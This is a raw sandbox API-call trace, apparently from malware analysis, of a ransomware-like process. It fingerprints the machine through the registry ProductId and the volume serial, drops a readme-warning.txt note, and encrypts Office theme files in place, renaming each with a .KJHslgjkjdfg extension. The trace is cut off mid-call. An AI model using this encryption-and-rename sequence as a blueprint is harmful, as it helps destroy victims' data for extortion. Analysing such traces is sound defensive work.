ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.833] GetProcessHeap () returned 0x990000 [0172.833] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.833] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.833] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.833] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.833] GetProcessHeap () returned 0x990000 [0172.833] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.833] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.833] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.833] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.833] GetProcessHeap () returned 0x990000 [0172.833] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.833] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.833] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.833] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.833] GetProcessHeap () returned 0x990000 [0172.833] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.834] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.834] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.834] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.834] GetProcessHeap () returned 0x990000 [0172.834] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.834] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.834] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.834] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.834] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.834] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.834] RegCloseKey (hKey=0x12c) returned 0x0 [0172.834] GetProcessHeap () returned 0x990000 [0172.834] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.835] GetProcessHeap () returned 0x990000 [0172.835] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.835] GetProcessHeap () returned 0x990000 [0172.835] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.835] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.835] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.835] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.835] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.835] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.836] GetProcessHeap () returned 0x990000 [0172.836] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.836] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.836] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.836] GetProcessHeap () returned 0x990000 [0172.836] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.836] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\readme-warning.txt") returned 81 [0172.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.838] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.839] CloseHandle (hObject=0x12c) returned 1 [0172.839] GetProcessHeap () returned 0x990000 [0172.839] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0172.839] GetProcessHeap () returned 0x990000 [0172.839] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.839] GetProcessHeap () returned 0x990000 [0172.839] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.839] GetProcessHeap () returned 0x990000 [0172.839] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.839] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.840] GetProcessHeap () returned 0x990000 [0172.840] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.840] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0172.840] GetProcessHeap () returned 0x990000 [0172.840] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0172.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.840] GetProcessHeap () returned 0x990000 [0172.840] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.840] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.840] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0172.840] GetProcessHeap () returned 0x990000 [0172.840] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0172.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.842] GetProcessHeap () returned 0x990000 [0172.842] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.842] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.842] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.842] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0172.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.844] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.844] GetProcessHeap () returned 0x990000 [0172.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.845] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.845] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.845] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.845] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.845] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.845] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.845] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.845] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.845] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.845] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.846] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1015d, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1015d, lpOverlapped=0x0) returned 1 [0172.847] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x10160, dwBufLen=0x10160 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x10160) returned 1 [0172.848] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.848] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10160, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x10160, lpOverlapped=0x0) returned 1 [0172.849] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.849] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.849] SetEndOfFile (hFile=0x12c) returned 1 [0172.852] GetProcessHeap () returned 0x990000 [0172.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.852] GetProcessHeap () returned 0x990000 [0172.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.kjhslgjkjdfg")) returned 1 [0172.853] CloseHandle (hObject=0x12c) returned 1 [0172.854] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0172.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.854] GetProcessHeap () returned 0x990000 [0172.854] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.854] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.854] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.854] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0172.856] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.856] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.856] GetProcessHeap () returned 0x990000 [0172.856] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.856] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.856] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.856] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.856] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.857] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.857] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.857] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.857] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.857] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.857] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.857] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1ce, lpOverlapped=0x0) returned 1 [0172.857] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1d0) returned 1 [0172.857] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.857] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1d0, lpOverlapped=0x0) returned 1 [0172.858] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.858] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.858] SetEndOfFile (hFile=0x12c) returned 1 [0172.860] GetProcessHeap () returned 0x990000 [0172.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.860] GetProcessHeap () returned 0x990000 [0172.861] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.kjhslgjkjdfg")) returned 1 [0172.868] CloseHandle (hObject=0x12c) returned 1 [0172.869] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.871] GetProcessHeap () returned 0x990000 [0172.871] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.871] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.871] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.871] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.873] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.873] GetProcessHeap () returned 0x990000 [0172.873] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.874] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.874] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.874] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.874] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.874] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.874] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.874] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.874] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.874] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.874] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.874] SetFilePointerEx (in: 